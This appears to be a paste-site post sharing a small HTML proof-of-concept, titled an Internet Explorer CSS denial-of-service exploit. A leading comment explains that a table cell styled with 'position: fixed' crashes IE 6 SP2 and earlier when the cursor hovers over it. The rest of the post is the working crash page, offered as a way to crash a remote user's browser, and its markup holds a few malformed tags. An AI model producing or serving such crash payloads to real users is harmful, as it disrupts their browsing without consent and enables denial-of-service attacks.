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Internet Explorer CSS DoS Exploit - a CSS table that crashes a remote user's browser

Jul 22nd, 2023 (edited)
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HTML 1.00 KB | Cybersecurity | 1 0
  1. <!-- Because I am so enamored by browser flaws (for some unknown reason) I have added an exploit I found on the web, that shows how to create a CSS table that crashes a remote user's browser. IE suffers from a DoS vulnerability in which a remote user's Internet Explorer session can be crashed when hovering their cursor over a specially made table. The fault occurs when the "position" CSS attribute is set to a table cell. This results in an 'unhandled exception in iexplorer.exe(MSHTML.DLL)'. This fault is found in Internet Explorer version 6.0.2900 SP2 and prior -->
  2. <html>
  3. <head>
  4. </style>
  5. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  6.  
  7. <title>IE-Crash< / title>
  8. <style type="text/css">
  9.  
  10. #header{
  11.  
  12. position: fixed;
  13. height: 761px;
  14. width: 1268;
  15. }
  16. </style>
  17. </head>
  18. <body>
  19. <table border="2" cellpadding="0" cellspacing="0" width="797" height="343" align="center">
  20.  
  21.  <tr>
  22.    
  23.   <td id="header" valign="top">
  24.  
  25.  
  26.           </td>
  27. <td valign="top">
  28.  
  29.          </td>
  30. </table>
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